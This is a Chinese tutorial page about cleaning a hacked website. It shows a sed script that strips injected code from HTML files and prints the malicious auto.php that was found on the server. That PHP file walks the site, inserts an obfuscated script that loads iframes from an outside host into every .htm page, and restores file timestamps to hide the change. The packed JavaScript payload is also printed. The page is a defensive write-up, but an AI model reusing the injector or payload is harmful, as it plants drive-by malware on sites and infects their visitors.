用shell命令删除网站最新nb挂马的方法与代码

代码如下:

# <script language="javascript" type="text/javascript">
# if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()
# eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.l(\'<h f=b i=8://m.n.6.4/a/j.d></h><9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"></9><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3"></9>\')',62,24,'|100|YNE|ZGH|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));}
# </script>

确实很让人头痛,还是编写shell 脚本把这些脚本去掉


代码如下:

#!/bin/sh
ls $1/*.htm | while read file
do
sed -i -e "/if(document.cookie.indexOf('helio'/d; /eval(function(p,a,c,k,e,d)/d;" $file
done

但是第二天还是有

最后偶然发现 网站中有个auto.php 文件比较可疑
查看下内容,果然是木马的根源
下面是其内容,希望对大家有所帮助


代码如下:

<?php
error_reporting(E_ERROR);
set_time_limit(0);
function CheckPath($path)
{
return str_replace('//','/',str_replace('\\','/',$path));
}
function AutoRead($filename)
{
$handle = @fopen($filename,"rb");
$filecode = @fread($handle,@filesize($filename));
@fclose($handle);
return $filecode;
}
function AutoWrite($filename, $filecode ,$filemode)
{
$time = @filemtime($filename);
$handle = @fopen($filename,$filemode);
$key = @fwrite($handle,"\r\n".$filecode."\r\n");
if(!$key)
{
@chmod($filename,0666);
$key = @fwrite($handle,"\r\n".$filecode."\r\n");
}
@fclose($handle);
@touch($filename,$time);
return $key ? true : false;
}
function make_pass($length)
{
$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = "";
while(strlen($str) < $length)
{
$str .= substr($possible,(rand() % strlen($possible)),1);
}
return $str;
}
function AutoRun($dir)
{
$spider = @opendir($dir);
while($file = @readdir($spider))
{
if($file == '.' || $file == '..' || $file == 'a' || $file == 'images' || $file == 'uploads' || $file == 'special' || $file == 'data' || $file == 'include' || $file == 'member' || $file == 'templets' || $file == 'install') continue;
$code = base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmlmKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCdoZWxpbycpPT0tMSl7dmFyIGV4cGlyZXM9bmV3IERhdGUoKTtleHBpcmVzLnNldFRpbWUoZXhwaXJlcy5nZXRUaW1lKCkrMSo2MCo2MCoxMDAwKTtkb2N1bWVudC5jb29raWU9J2hlbGlvPVllcztwYXRoPS87ZXhwaXJlcz0nK2V4cGlyZXMudG9HTVRTdHJpbmcoKQ0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKWRbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCc1LmwoXCc8aCBmPWIgaT04Oi8vbS5uLjYuNC9hL2ouZD48L2g+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2UuYz8yIj48Lzk+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2cuYz8zIj48Lzk+XCcpJyw2MiwyNCwnfDEwMHw=');
$code .= make_pass(3);
$code .= '|';
$code .= make_pass(3);
$code .= base64_decode('fGNufGRvY3VtZW50fGdvdnxoZWlnaHR8aHR0cHxpZnJhbWV8aW1hZ2VzfGphdmFzY3JpcHR8anBnfGpzfGtpc3N8bGFuZ3VhZ2V8bWlzc3xzY3JpcHR8c3JjfHViYnx3aWR0aHx3cml0ZWxufHd3d3x4Y3JzcmMnLnNwbGl0KCd8JyksMCx7fSkpO30NCjwvc2NyaXB0Pg0KPC9oZWFkPg==');
die($code);
$filename = CheckPath($dir.'/'.$file);
if(is_dir($filename)) AutoRun($filename);
if(eregi('\.htm|\.shtml',$file))
{
$checkcode = AutoRead($filename);
if((!stristr($checkcode,'eval(function(')) && stristr($checkcode,'</head>'))
{
$newcode = str_replace('</head>',$code,$checkcode);
echo AutoWrite($filename, $newcode, "wb") ? "ok:".$filename."<br>\n" : "err:".$filename."<br>\n";
ob_flush();
flush();
}
}
$checkcode = NULL;
$newcode = NULL;
}
@closedir($spider);
return true;
}
if(isset($_GET['dir']))
{
AutoRun($_GET['dir']);
}
echo 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'].'?dir='.CheckPath(dirname(__FILE__));
?>

(0)

相关推荐

  • 用shell命令删除网站最新nb挂马的方法与代码

    复制代码 代码如下: # <script language="javascript" type="text/javascript"> # if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expi

  • 利用shell命令删除指定的文件的方法

    今天为了省事文件内容都copy过来了.又为了省事,想了一想,用脚本比较开心.所以就写了一个shell脚本,在此做一个记录. #!/bin/bash ls  -li  | tail -n +2 | cat -n read -p "请输入要删除的行:" num inum=`ls -li  | tail -n +2 | cat -n | awk -F ' ' '$1=='$num'{print $2}'` find ./  -inum $inum -exec rm -rf {} \; 运行脚

  • Android shell命令行中过滤adb logcat输出的方法

    我们在Android开发中总能看到程序的log日志内容充满了屏幕,而真正对开发者有意义的信息被淹没在洪流之中,让开发者无所适从,严重影响开发效率.本文就具体介绍几种在shell命令行中过滤adb logcat输出的方法.        1.只显示需要的输出(白名单) 最方便的当然是通过管道使用 grep 过滤了,这样可以使用 grep 强大的正则表达式匹配.简单的匹配一行当中的某个字符串,例如 MyApp: adb logcat | grep MyApp        adb logcat |

  • shell命令行,一键创建 python 模板文件脚本方法

    写 python 文件时,每个文件开头都必须注明版本和编码.每次我 touch 文件之后粘贴这两句话让我不胜其烦. 由于我没有安装 python 的 IDE 工具,也没有为 vim 安装相应的插件.主要是为了练习自己的编码能力,而不希望过于依赖工具,所以为了解决这个问题,我写了这个脚本. #!/bin/bash if [ -n "$1" ]; then if [ -f "$1" ]; then echo $1 '文件已经存在,不能重复创建' else echo '#

  • 预防网页挂马的方法总结

    预防网页挂马的方法总结: 在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的.本文主要介绍网页挂马的工作原理及种类.常见方式.执行方式.如何检测网页是否被挂马.如何清除网页木马.如何防止网页被挂马. 1:网页挂马工作原理的种类. (1)工作原理: 作为网页挂马的散布者,其目的是将木马下载到用户本地,并进一步执行,当木马获得执行之后,就意味着会有更多的木马被下载,进一步被执行,进入一个恶性的循环,从而使用户的电脑遭

  • Python删除字符串中字符的四种方法示例代码

    目录 一.删除字符串两端的一种或多种字符 二.删除字符串中单个固定位置的字符 三.删除字符串中任意位置的一种或多种字符 四.同时删除字符串内的多种不同字符 一.删除字符串两端的一种或多种字符 #strip().lstrip().rstrip()方法:(默认删除空格符) A.list.strip(字符):删除字符串两端的一种或多种字符: 例:删除字符串s两端 a 或 b 或 c 字符: s = 'abbmmmcccbbb' s1 = s.strip('abc') print(s1) #输出:mmm

  • Android shell命令行中过滤adb logcat输出的几种方法

    我们在Android开发中总能看到程序的log日志内容充满了屏幕,而真正对开发者有意义的信息被淹没在洪流之中,让开发者无所适从,严重影响开发效率.本文就具体介绍几种在shell命令行中过滤adb logcat输出的方法.        1.只显示需要的输出(白名单) 最方便的当然是通过管道使用 grep 过滤了,这样可以使用 grep 强大的正则表达式匹配.简单的匹配一行当中的某个字符串,例如 MyApp: adb logcat | grep MyApp adb logcat | grep -i

  • Java代码执行shell命令的实现

    本文描述两种方式使用java代码执行shell命令,首先使用Runtime类调用exce方法,其次使用ProcessBuilder实例实现更灵活的方式. 1. 环境准备 执行shell命令之前,我们需要获取jvm底层操作系统,同时定义通用消费流的类. 1.1. 操作系统依赖 在创建进场执行shell命令之前,我们需要获取jvm运行在具体哪个操作系统之上.因为Windows执行shell命令是cmd.exe,而其他操作系统发布标准shell是sh: boolean isWindows = Syst

  • python中执行shell命令的几个方法小结

    最近有个需求就是页面上执行shell命令,第一想到的就是os.system, 复制代码 代码如下: os.system('cat /proc/cpuinfo') 但是发现页面上打印的命令执行结果 0或者1,当然不满足需求了. 尝试第二种方案 os.popen() 复制代码 代码如下: output = os.popen('cat /proc/cpuinfo') print output.read() 通过 os.popen() 返回的是 file read 的对象,对其进行读取 read() 的

  • Java调用Shell命令和脚本的实现

    1.介绍 有时候我们在Linux中运行Java程序时,需要调用一些Shell命令和脚本.而Runtime.getRuntime().exec()方法给我们提供了这个功能,而且Runtime.getRuntime()给我们提供了以下几种exec()方法: Process exec(String command) 在单独的进程中执行指定的字符串命令. Process exec(String[] cmdarray) 在单独的进程中执行指定命令和变量. Process exec(String[] cmd

随机推荐